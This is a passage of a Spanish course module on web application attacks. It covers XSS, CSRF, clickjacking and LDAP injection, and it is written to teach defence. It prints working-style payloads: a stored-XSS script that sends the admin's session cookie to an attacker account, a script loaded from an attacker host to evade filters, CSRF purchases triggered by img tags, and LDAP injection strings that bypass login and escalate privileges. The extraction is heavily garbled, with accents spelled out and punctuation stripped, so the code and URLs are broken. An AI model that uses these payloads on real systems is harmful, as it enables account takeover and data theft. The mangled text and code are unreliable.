tendraacute que sentarse a esperar refrescando su bandeja de entrada hasta que re-

ciba un mensaje de usuario admin con el valor de su cookie de sesioacuten El coacutedi-

go Javascript enviado se podraacute observar dentro del coacutedigo fuente pero pasaraacute

completamente desapercibido para el usuario admin cuando este inicia sesioacuten

con su navegador y automaacuteticamente se le presenta su bandeja de entrada

El coacutedigo HTML recibido por el usuario admin al abrir su bandeja de entrada

seriacutea

ltdiv class=contenidogt

ltp class=autorgtDe eviluserltpgtltp class=mensajegtltscriptgt

d= ampto=eviluserampenviar= Enviar ampmensaje=Mi cookie es +documentcookie

if(windowXMLHttpRequest)

x=new XMLHttpRequest ()

CC-BY-NC-ND bull PID_00191662 17 Ataques a aplicaciones web

else

x=new ActiveXObject (MicrosoftXMLHTTP)

xopen(POSTfuncsendphptrue)

xsetRequestHeader(Content-Type applicationx-www-form-urlencoded)

xsetRequestHeader(Content-Lengthdlength)

xsend(d)

ltscriptgt

iexclQue pagina mas chulaltpgtltdivgt

ltdivgt

ltbodygt

Este coacutedigo ha sido interpretado por el navegador del usuario admin y auto-

maacuteticamente se ha enviado un mensaje al usuario eviluser con la cookie de

sesioacuten

Figura 5 Mensaje recibido por el usuario eviluser

Con esta informacioacuten en su poder el usuario eviluser puede proceder a modi-

ficar el valor de su cookie con el valor recibido De este modo cuando su nave-

gador lo enviacutea al servidor este responde con las paacuteginas correspondientes al

usuario admin

Esta demostracioacuten es un claro ejemplo del potencial que puede llegar a impli-

car un ataque basado en XSS Como se ha visto sin conocer la contrasentildea del

administrador de un sitio web hemos logrado acceder a su cuenta

114 Filtros XSS

En la gran mayoriacutea de las ocasiones no seraacute posible escribir coacutedigo Javascript

directamente como se ha realizado en el ejemplo anterior Habitualmente los

programadores habraacuten establecido una serie de reglas para intentar evitar los

fallos XSS Sin embargo habitualmente los filtros utilizados son implementa-

ciones parciales de lo que deberiacutea ser un filtro antiXSS completo y esto nos

permite introducir nuestro coacutedigo Javascript salvando las dificultades adicio-

nales que se presenten

CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web

Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-

trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para

entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-

rar de este modo nuestras posibles implementaciones de filtros antiXSS

bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta

teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-

ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-

rrar una etiqueta HTML como vimos anteriormente y nos encontramos

con que se estaacuten escapando nuestras comillas pueden darse dos situacio-

nes ambas salvables por parte del atacante La etiqueta queda cerrada co-

mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos

seguir introduciendo coacutedigo Javascript

ltinput type=text name=q value= gt

ltscriptgtalert(documentcookie)ltscriptgt

Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-

bir correctamente las comillas Son varios los meacutetodos que se pue-

den usar en estos casos Por ejemplo podemos utilizar la funcioacuten

StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una

cadena

StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)

Tambieacuten es posible establecer referencias a ficheros Javascript externos

donde podremos usar todos los caracteres que deseemos sin preocuparnos

por ninguacuten tipo de filtro

ltscript src=httpwwwatacantecomxssjsgtltscriptgt

bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-

tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero

determinado de caracteres Esta limitacioacuten se puede solventar de nuevo

de dos maneras

ndash Si son varias las variables donde es posible introducir coacutedigo Javascript

podemos usar la suma de los caracteres correspondientes a cada una de

ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-

riacutea mediante los caracteres de comentarios multiliacutenea de Javascript

al inicio y al final

ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un

fichero externo para cargar todo el coacutedigo Javascript necesario Para

reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo

tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom

xssjs queda traducida a httpisgdowYT

CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web

ltscript src=httpisgdowYTgtltscriptgt

bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir

loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-

te podriacutean parecer dos casos distintos al final pueden ser resueltos de la

misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al

ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-

ver cuando se desplaza el cursor por encima OnClick cuando se hace clic

sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro

coacutedigo

ltinput type=text name=buacutesqueda value=

OnFocus=alert(Hola Mundo) gt

bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar

Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor

sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas

para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no

en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en

la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica

ni llegar a conocer todos los entresijos de la misma sino que el atacante

deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-

digo XSS

12 Cross Site Request Forgery (CSRF)

Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas

concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es

el cross site request forgery (CSRF)

El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice

acciones no deseadas en dominios remotos Se basa en la idea de apro-

vechar la persistencia de sesiones entre las pestantildeas de un navegador

Vamos a analizar con un ejemplo hipoteacutetico para entenderla

El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF

Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-

CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web

minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente

En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada

httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes

Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado

Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla

Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML

Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota

Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt

Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt

Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-

do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que

la imagen rota que se genera se le muestre al usuario

El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la

paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros

se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten

Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST

Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo

Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que

existan en la aplicacioacuten

CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web

Sin embargo y aunque establecieacutesemos como requisito indispensable que las

peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de

nuestra paacutegina ni de nuestros clientes

Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las

cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se

utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a

un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten

aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras

paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen

desde nuestro propio dominio

La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie

de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos

pueden ser establecidos como un CAPTCHA que el usuario debe introducir al

realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro

del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la

peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar

los datos de nuestros usuarios

Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos

tomar una serie de precauciones que intenten evitar un ataque mediante esta

teacutecnica Las medidas son

bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten

bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-

na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que

durante el tiempo de uso

bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas

Con esto nos aseguramos la independencia de las cookies de sesioacuten entre

navegadores

13 Clickjacking

Las teacutecnicas de clickjacking son una amenaza reciente para los navega-

dores y sus usuarios Se basan en engantildear a los usuarios para que ha-

gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean

voluntariamente

Esto se consigue superponiendo dos paacuteginas

CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web

bull Una la principal con la paacutegina donde queremos que realmente los usua-

rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-

lizar una transferencia

bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-

tenidos que sirvan de aliciente para que el usuario realice los clics en las

zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear

en determinadas zonas

Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-

tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra

paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a

ellos mediante Javascript son de posible uso para engantildear al usuario

1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y

que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten

falta para llevar a cabo esta teacutecnica

Figura 6 Paacutegina a secuestrar

2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo

exactamente en el lugar donde deseamos que el usuario engantildeado realice el

clic Esto se hace asiacute para asegurar que independientemente del navegador el

clic se ejecute sin problemas

CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web

Figura 7 IFRAME sobre el sitio original

3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-

tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear

alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el

clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina

original

Figura 8 Colocacioacuten del IFRAME para engantildear al usuario

CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web

Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah

Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-

sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase

una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a

traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-

racioacuten de seguridad del plugin como se puede observar en la siguiente imagen

Figura 9 Configuracioacuten de seguridad de Flash Player

Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-

gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para

interactuar con el servidor Es por eso por lo que algunos navegadores aportan

directamente protecciones contra esta teacutecnica

bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus

usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-

sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario

sea engantildeado para hacer clic sobre un elemento previamente falseado

CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web

Figura 10 Clickjacking bloqueado

bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-

ca que permite a los programadores web incluir una cabecera x-frame-op-

tions que si figura establecida como deny impide que la paacutegina que la en-

viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de

establecer el valor como sameorigin para permitir que uacutenicamente pueda

ser cargada si la peticioacuten se realiza desde el mismo dominio

Figura 11 IFRAME bloqueado desde Internet Explorer 8

bull En el resto de navegadores como GoogleChromeOperaSafarieInter-

netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten

y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos

tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-

gador

CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web

2 Ataques de inyeccioacuten de coacutedigo

Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet

Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten

puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante

Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma

geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un

tipo de ataque

1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita

a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de

ataque se usan de forma muy extendida en Internet a varios niveles

a) Nivel de enlace

Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones

de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en

servidores DHCP ( dynamic host configuration protocol)

b) Nivel de Red

bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-

tringidas a determinadas direcciones IP Se hicieron famosas en el ataque

a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo

directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo

desde un servidor con una direccioacuten IP en concreto

bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-

plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En

el caso del nivel de red el objetivo es controlar el socket mediante la su-

plantacioacuten del nuacutemero de secuencia

c) Nivel de Aplicacioacuten

bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima

crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-

ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de

envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-

cha del cumpleantildeosrdquo son utilizados para lograr este objetivo

bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que

hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta

teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten

CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web

mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-

nicas de suplantacioacuten de DNS

bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-

lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-

tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o

un paraacutemetro por GET o por POST

bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de

usurpar la identidad de un usuario para realizar las acciones en su lugar

2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-

nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten

Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-

dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor

de la misma

3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-

rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-

rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial

relevancia en entornos de anaacutelisis forense o sistemas contractuales

4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que

implica que un usuario no permitido acceda a informacioacuten o documentacioacuten

sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten

protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-

nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica

de Proteccioacuten de Datos (LOPD)

5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-

llas que interrumpen la continuidad de los procesos de negocio o servicio de

una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en

los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (

botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-

nicacioacuten de las empresas son objetivos de este tipo de ataques

6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario

puede cambiar su nivel de privilegios dentro de un sistema para acceder a

informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten

de privilegios es una vulnerabilidad que suele ser el origen de brechas que

conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten

A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la

implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-

taacuteneamente en varias de las categoriacuteas anteriores

CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web

La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo

objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-

nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos

directamente en la base de datos

21 LDAP Injection

Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en

aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible

realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso

y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo

LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones

bull And LDAP Injection

bull OR LDAP Injection y

bull Blind LDAP Injection

Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM

de Microsoft y el motor OpenLDAP un producto Software Libre de amplia

implantacioacuten a nivel mundial

211 LDAP Injection con ADAM de Microsoft

Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-

mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un

cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-

presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados

En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM

Figura 12 Estructura del aacuterbol LDAP creado en ADAM

CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web

Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente

filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como

se puede ver en la figura 13

Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)

Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a

toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera

todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-

tener con una consulta siguiendo el formato definido en las RFC sobre ADAM

(|(cn=Impresora_1)(cn=Impresora))

CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web

Figura 14 Todas las impresoras

Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos

inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten

no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre

cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo

antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta

por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))

Figura 15 Inyeccioacuten sin resultados

CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web

Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten

no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha

Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes

datos Es decir solo devuelve los datos del primer filtro completo y el resto de

la cadena es ignorado

212 LDAP Injection con OpenLDAP

Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol

que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya

estructura es la siguiente

Figura 16 Estructura del aacuterbol LDAP en OpenLDAP

Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-

niendo un uacutenico objeto como resultado (uid=kurt)

CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web

Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado

Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido

en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-

dor OR y un filtro que incluyera todos los resultados como se puede ver en la

siguiente imagen (|(uid=kurt)(uid=))

Figura 18 Todos los usuarios

Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento

sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))

CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web

Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro

Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado

el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba

ADAM

213 Conclusiones

Tras realizar estas pruebas podemos extraer las siguientes conclusiones

bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje

contra ADAM u OpenLDAP es necesario que el filtro original es decir el

del programador tenga un operador OR o AND A partir de este punto se

pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten

o realizar ataques blind es decir a ciegas

bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente

anidada en un uacutenico par de pareacutentesis general o bien que el componente

permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha

del filtro

bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust

puede ser vista de dos formas diferentes una primera en la que seriacutea vista

como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-

mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro

mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-

tariacuteamos hablando de un comportamiento particular de algunos motores

LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con

un segundo filtro con un operador el operador OR innecesario

CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web

A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP

que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten

siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-

jection y Blind LDAP Injection

214 ldquoORrdquo LDAP Injection

En este entorno nos encontrariacuteamos con que el programador ha creado una

consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados

al usuario

(|(atributo1=valor1)(atributo2=valor2))

Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-

table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-

dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea

ldquoGroupsrdquo Al ejecutarla obtenemos

Figura 20 Consulta OR sin inyeccioacuten

Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-

driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-

nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-

dena void)(uid=))(|(uid=

CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web

Figura 21 Lista de usuarios obtenida tras la inyeccioacuten

Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|

(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-

ta de todos los usuarios del aacuterbol LDAP

Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en

este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente

tipo

(|(type=outputDevices)(type=printer))

Figura 22 Listado de impresoras y dispositivos de salida

Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea

modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo

CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web

(|(type=outputDevices)(type=printer)(uid=))(|(type=void))

Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los

usuarios como se puede ver en la figura 23

Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection

215 ldquoANDrdquo LDAP Injection

En el caso de inyecciones en consultas LDAP que lleven el operador AND el

atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido

pero se pueden utilizar las inyecciones para mediatizar los resultados y por

ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con

una consulta del siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Supongamos un entorno en el que se muestra la lista de todos los documentos

a los que un usuario con pocos privilegios tiene acceso mediante una consulta

que incluye el directorio de documentos en un paraacutemetro inyectable Es decir

la consulta original es

(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))

Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder

acceder a los documentos de nivel de seguridad alto

(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Para conseguir este resultado se habraacute inyectado en el nombre del directorio

la siguiente cadena

almacen)(nivel_seguridad=alto))(|(directorio=almacen

CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web

Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer

lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando

una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza

una consulta LDAP del tipo

(amp(uid=valor_de_user)(password=valor_de_password)

El atacante inyectando la cadena slisberger)(amp)) en el valor del USER

obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger

y por lo tanto conseguiriacutea el acceso a la aplicacioacuten

Figura 24 Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25 el usuario consigue acceso al directorio

privado del usuario slisberger En este caso se ha utilizado el filtro (amp)

que es el equivalente al valor TRUE en los filtros LDAP

Figura 25 Directorio home del usuario

Como se puede ver en este caso el usuario ha accedido con privilegios de nivel

bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio

de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se

puede ver en la figura 26

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

